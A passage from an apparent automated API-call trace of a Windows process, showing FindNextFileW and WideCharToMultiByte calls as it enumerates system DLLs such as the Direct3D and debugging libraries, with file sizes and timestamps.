lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x30c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x30c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0036.407] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x30c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x30c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x30c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x30c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.408] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.409] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: 